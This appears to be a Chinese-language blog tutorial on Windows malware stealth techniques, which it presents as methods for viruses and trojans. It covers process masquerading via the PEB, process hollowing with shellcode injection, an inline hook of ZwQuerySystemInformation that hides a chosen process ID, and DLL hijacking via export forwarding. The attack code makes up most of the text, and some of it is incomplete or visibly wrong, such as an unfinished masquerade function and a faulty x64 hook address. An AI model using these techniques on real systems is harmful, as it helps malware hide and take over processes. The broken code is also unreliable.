进程隐藏技术
- 进程伪装:通过修改指定进程PEB中的路径和命令行信息实现伪装。
- 傀儡进程:通过进程挂起,替换内存数据再恢复执行,从而实现创建傀儡进程
- 进程隐藏:通过HOOK函数
ZwQuerySystemInfornation
实现进程隐藏 - DLL劫持:通过#pragma comment指令直接转发DLL导出函数或者通过LoadLibrary和GetProcAddress函数获取DLL导出函数并调用
1.进程伪装
对病毒木马来说,最简单的进程伪装方式就是修改进程名,例如将本地文件名修改成services.exe等系统进程名,从而不被用户发现。进程伪装指的是可以修改任意指定进程信息,即该进程信息再系统中显示的是另一个进程的信息。这样指定进程和伪装进程相同,但实际,执行的操作是不同的。
__kernel_entry NTSTATUS NtQueryInformationProcess(
IN HANDLE ProcessHandle, //目标进程句柄
IN PROCESSINFOCLASS ProcessInformationClass, //获取信息类型
OUT PVOID ProcessInformation, //指向调用应用程序提供的缓冲区的指针,函数将所请求的信息写入该缓冲区。
IN ULONG ProcessInformationLength,//ProcessInformation缓冲区大小
OUT PULONG ReturnLength //函数返回请求信息的大小
);
ProcessInformationClass 要检索的过程信息的类型:
值 | 含义 |
---|---|
ProcessBasicInformation0 | 检索指向PEB结构的指针,该指针可用于确定是否正在调试指定的进程,以及系统用于标识指定进程的唯一值。使用CheckRemoteDebuggerPresent和GetProcessId 函数来获取此信息。 |
ProcessDebugPort7 | 检索DWORD_PTR值,该值是进程的调试器的端口号。非零值表示该进程正在环3调试器的控制下运行。使用CheckRemoteDebuggerPresent或IsDebuggerPresent函数。 |
ProcessWow64Information26 | 确定进程是否在WOW64环境中运行(WOW64是允许基于Win32的应用程序在64位Windows上运行的x86仿真器)。使用IsWow64Process2函数获取此信息。 |
ProcessImageFileName27 | 检索包含进程的映像文件名称的UNICODE_STRING值。使用QueryFullProcessImageName或GetProcessImageFileName函数来获取此信息。 |
ProcessBreakOnTermination29 | 检索ULONG值,指示该进程是否被视为关键。注意 此值可以在带有SP3的Windows XP中使用。从Windows 8.1开始,应该使用IsProcessCritical。 |
ProcessSubsystemInformation75 | 检索SUBSYSTEM_INFORMATION_TYPE值,该值指示进程的子系统类型。ProcessInformation参数指向的缓冲区应足够大,以容纳单个SUBSYSTEM_INFORMATION_TYPE枚举。 |
此函数没有关联的导入库。您必须使用LoadLibrary和GetProcAddress函数动态链接到Ntdll.dll。
//当ProcessInformationClass 参数是ProcessBasicInformation,缓冲器指向的PROCESSINFORMATION参数应足够
//大,以保持单个PROCESS_BASIC_INFORMATION具有下述布局结构:
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress; //指向PEB结构
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId; //指向该过程的唯一标识符。使用GetProcessId函数检索此信息。
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
示例代码:
typedef NTSTATUS (WINAPI* pfnNtQueryInformationProcess)(
IN HANDLE ProcessHandle,
IN PROCESSINFOCLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength
);
BOOL DisguiseProcess(DWORD dwProcessId, WCHAR* lpwszpath, WCHAR* lpwszCmd)
{
//获取进程句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (!hProcess)
{
OutPutDebugStringA("进程句柄获取失败\n");
return false;
}
//
pfnNtQueryInformationProcess fnNtQueryInformationProcess = NULL;
}
2.傀儡进程
/*
傀儡进程
实现原理:修改指定进程内存数据,向内存中写入ShellCode代码,并修改该进程的执行流程,
使其转而执行ShellCode代码,这样进程还是原来的进程,但是执行的操作变了.
关键技术点:
一. 写入ShellCode的时机
二. 更改执行流程的方法
CreateProcess提供CREATE_SUSPENDED作为线程创建后主进程挂起的标志,这时主线程处于挂起状态,
直到ResumeThread恢复线程,方可执行.使用SetThreeadContext可以修改线程上下文中的EIP数据.
实现流程:
1. CreateProcess创建进程,设置CREATE_SUSPENDED挂起进程标志
2. 调用VirtualAllocEx函数在新进程申请一个可读可写可执行的内存,并调用WriteProcessMemory
写入ShellCode数据,考虑到傀儡进程内存占用过大的问题,也可以调用ZwUnmapViewOfSection函数卸载
傀儡进程并加载模块
3. 调用GetThreeadContext,设置获取标志CONTEXT_FULL,修改EIP,再调用SetThreeadContext
4. 调用ResumeThread恢复进程
*/
BOOL ReplaceProcess(WCHAR* pszFilePath, PVOID pRelaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset)
{
//1. CreateProcess创建目标进程,设置CREATE_SUSPENDED挂起进程标志
STARTUPINFO stcSi = { 0 };
stcSi.cb = sizeof(stcSi);
PROCESS_INFORMATION stcPi = { 0 };
BOOL bRet = CreateProcessW(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED,
NULL, NULL, &stcSi, &stcPi);
if (!bRet)
{
printf("创建进程失败\n");
return FALSE;
}
//2. 调用VirtualAllocEx函数在新进程申请一个可读可写可执行的内存,并调用WriteProcessMemory
//写入ShellCode数据, 考虑到傀儡进程内存占用过大的问题, 也可以调用ZwUnmapViewOfSection函数卸载
//傀儡进程并加载模块
LPVOID lpBuffer = VirtualAllocEx(stcPi.hProcess, NULL, dwReplaceDataSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!lpBuffer)
{
printf("申请内存失败\n");
return FALSE;
}
WriteProcessMemory(stcPi.hProcess, lpBuffer, pRelaceData, dwReplaceDataSize, NULL);
//3.调用GetThreeadContext,设置获取标志CONTEXT_FULL,修改EIP,再调用SetThreeadContext
CONTEXT stcCt = { CONTEXT_FULL };
GetThreadContext(stcPi.hThread, &stcCt);
stcCt.Eip = (DWORD)lpBuffer + dwRunOffset;
SetThreadContext(stcPi.hThread, &stcCt);
//4.调用ResumeThread恢复进程
ResumeThread(stcPi.hThread);
return TRUE;
}
3.进程隐藏
#include <Windows.h>
#include <winternl.h>
/*
隐藏进程
实现原理:通过HOOKAPI ZwQuerySystemInformation可以实现进程隐藏.这是因为EnumProcess或者
CreateToolHelp32Snapshot遍历进程,都是通过ZwQuerySystemInformation函数来检索系统进程信息的.
实现方法:内联HOOK或者IAT HOOK
1. 获取ZwQuerySystemInformation函数地址
2. 根据32和64位版本,计算偏移,修改函数前xx字节数据
3. 先修改页属性,再修好内存数据,恢复页属性
4. 在My_ZwQuerySystemInformation函数中判断是否检索要隐藏进程,
若是隐藏进程,遍历检索结果,剔除隐藏进程的信息,将修改数据返回
*/
/*
x86系统 修改前5字节
---------------------------------------------------
HOOK前: 0x41000 E8 007f00000 call OpenProcess
HOOK后: 0x41000 E9 000410000 call MyOpenProcess
填充地址计算公式: 跳转偏移 = 目标地址 - 指令所在 - 5
---------------------------------------------------
x64系统 修改前12字节
---------------------------------------------------
mov rax,目标地址 0x48 0xb8 00000000
跳转方式1: push rax 0x50
ret 0xC3
跳转方式2: jmp rax 0xff 0xe0
---------------------------------------------------
*/
BYTE g_OldData32[5] = { 0 };
BYTE g_OldData64[12] = { 0 };
pfnZwQuerySystemInformation fnZwQuerySystemInformation = NULL;
typedef NTSTATUS (WINAPI* pfnZwQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
NTSTATUS WINAPI My_ZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
DWORD dwHidePid = 1124; //1.要隐藏的进程ID
UnHook();
// 调用原函数
NTSTATUS status = fnZwQuerySystemInformation(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);
// 判断
if (NT_SUCCESS(status) && 5==SystemInformationClass)
{
PSYSTEM_PROCESS_INFORMATION pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
PSYSTEM_PROCESS_INFORMATION pPrev = NULL;
while (TRUE)
{
//判断PID是否是隐藏进程
if (dwHidePid == (DWORD)pCur->UniqueProcessId)
{
//pPrev -- 指向前一个
//pCur -- 指向当前
//pNext -- 指向下一个
//找到隐藏进程,清除进程信息,即将pPrev的NextEntryOffset字段改为pNext偏移
if (0==pCur->NextEntryOffset && pPrev)
{
pPrev->NextEntryOffset = 0;
}
else
{
pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset;
}
}
else
{
pPrev = pCur;
}
if (0 == pCur->NextEntryOffset)
{
break;
}
pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset);
}
}
HookAPI();
return status;
}
void HookAPI()
{
// 1.获取Ntdll中的ZwQuerySystemInformation函数地址
HMODULE hNtdll = ::GetModuleHandleA("ntdll.dll");
fnZwQuerySystemInformation = \
(pfnZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation");
if (!fnZwQuerySystemInformation)return;
// 2.修改地址
#ifndef _WIN64
BYTE pData[5] = { 0xE9 };
DWORD dwOffset= (DWORD)My_ZwQuerySystemInformation - (DWORD)fnZwQuerySystemInformation - 5;
::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset));
//保存前5字节数据
::RtlCopyMemory(g_OldData32, fnZwQuerySystemInformation, 5);
#else
BYTE pData[12] = { 0x48,0xB8,0,0,0,0,0,0,0,0,0x50,0xC3 };
ULONGLONG dwDestAddr = (ULONGLONG)fnZwQuerySystemInformation;
::RtlCopyMemory(&pData[2], &dwDestAddr, sizeof(dwDestAddr));
//保存前12字节数据
::RtlCopyMemory(g_OldData64, fnZwQuerySystemInformation, 12);
#endif
// 3.设置页面属性可读可写可执行
DWORD dwOldProtect = 0;
VirtualProtect(fnZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE,
&dwOldProtect);
::RtlCopyMemory(fnZwQuerySystemInformation, pData, sizeof(pData));
VirtualProtect(fnZwQuerySystemInformation, sizeof(pData), dwOldProtect,
&dwOldProtect);
}
void UnHook()
{
DWORD dwOldProtect = 0;
#ifndef _WIN64
VirtualProtect(fnZwQuerySystemInformation, sizeof(g_OldData32), PAGE_EXECUTE_READWRITE,
&dwOldProtect);
::RtlCopyMemory(fnZwQuerySystemInformation, g_OldData32, sizeof(g_OldData32));
VirtualProtect(fnZwQuerySystemInformation, sizeof(g_OldData32), dwOldProtect,
&dwOldProtect);
#else
VirtualProtect(fnZwQuerySystemInformation, sizeof(g_OldData64), PAGE_EXECUTE_READWRITE,
&dwOldProtect);
::RtlCopyMemory(fnZwQuerySystemInformation, g_OldData64, sizeof(g_OldData64));
VirtualProtect(fnZwQuerySystemInformation, sizeof(g_OldData64), dwOldProtect,
&dwOldProtect);
#endif
}
4.DLL劫持
实现原理:
进程在尝试加载一个DLL时,若没有指定DLL的绝对路径,那么Windows会尝试去指定的目录下查找这个dll,如果攻击者控制其中某一个目录,并且放一个恶意的dll文件到这个目录下,那么这个恶意的dll便会被进程加载,进程执行dll的恶意代码,即所谓的dll劫持。
Windows加载器在分析可执行模块的输入表时,输入表只要dll名,没有路径,windows搜索dll顺序如下:
程序所在目录->系统目录->16位系统目录->windows目录->当前目录->PATH环境变量中的各个目录
伪造一个与同名的dll,提供同样的输出表,并使每个函数指向真正的系统dll,有两种方式
方式一:直接转发DLL函数
在所有的预处理指令中,#pragma 指令是设定编译器的状态或者指示编译器完成特定的动作,通过下面指令完成转发函数的操作
#pragma comment(linker,"/EXPORT:entryname[,@ordinal[,NONAME]][,DATA]")
使用/EXPORT选项,可以从程序中导出函数,以便其他程序可以调用该函数,它也可以导出数据.其中,
-
entryname是调用程序要使用的函数或者数据项的名称.
-
ordinal在导出表中指定范围在1-65535之间的索引,如果没有指定ordinal,则链接器将分配一个.
-
NONAME关键字只能将函数导出作为序号,并且没有entryname.
-
DATA关键字指定导出项为数据项,用户程序中的数据项必须用extern__declspec(dllimport)来声明
//例如:转发MessageBoxTest为MessageBoxA #pragma comment(linker,"/EXPORT:MessageBoxTest=user32.MessageBoxA") //当调用MessageBoxTest时,系统会将其直接转发给user32.MessageBoxA去执行
方式二:调用DLL函数
通过LoadLibrary和GetProcAddress函数来获取函数地址,然后跳转执行。
//裸函数naked特性仅适用于x86和ARM,并不用于x64
//_asm内联汇编也不能在x64中使用
extern "C" void __declspec(naked) MessageBoxATest()
{
PVOID pAddr=NULL;
HMODULE hDll=LoadLibraryA("C:\\Windows\\System32\\user32.dll");
if(NULL != hDll)
{
pAddr=GetProcAddress(hDll,"MessageBoxA");
if(pAddr)
{
_asm jmp pAddr
}
FreeLibrary(hDll);
}
}
使用AheadLibDLL劫持代码生成工具